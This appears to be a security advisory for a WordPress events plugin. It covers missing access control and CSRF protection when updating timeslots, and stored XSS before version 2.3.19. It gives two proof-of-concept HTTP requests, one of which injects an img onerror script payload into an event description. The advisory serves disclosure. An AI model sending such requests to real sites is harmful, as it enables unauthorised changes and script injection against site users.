The plugin does not have proper access control when updating a timeslot, allowing any user with the edit_posts capability (contributor+) to update arbitrary timeslot from any events. Furthermore, no CSRF check is in place as well, allowing such attack to be perform via CSRF against a logged in with such capability. In versions before 2.3.19, the lack of sanitisation and escaping in some of the fields, like the descritption could also lead to Stored XSS issues
POST /wp-admin/admin-ajax.php HTTP/1.1 Accept: / Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 191 Connection: close Cookie: [author+] controller=events&data;%5Bid%5D=2&data;%5Bdescription%5D=AttackerDescription&data;%5Buser_id%5D=1&data;%5Bweekday_ids%5D=1327&mptt;_action=update_event_data&action;=route_url Via CSRF: XSS in v < 2.3.19 POST /wp-admin/admin-ajax.php HTTP/1.1 Accept: / Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 189 Connection: close Cookie: [authpr+] controller=events&data;%5Bid%5D=2&data;%5Bdescription%5D=%3Cimg+src+onerror%3Dalert(%2FXSS%2F)%3E&data;%5Buser_id%5D=1&data;%5Bweekday_ids%5D=1327&mptt;_action=update_event_data&action;=route_url Via CSRF: XSS will be trigged in the frontend when viewing the event, and backend when editing it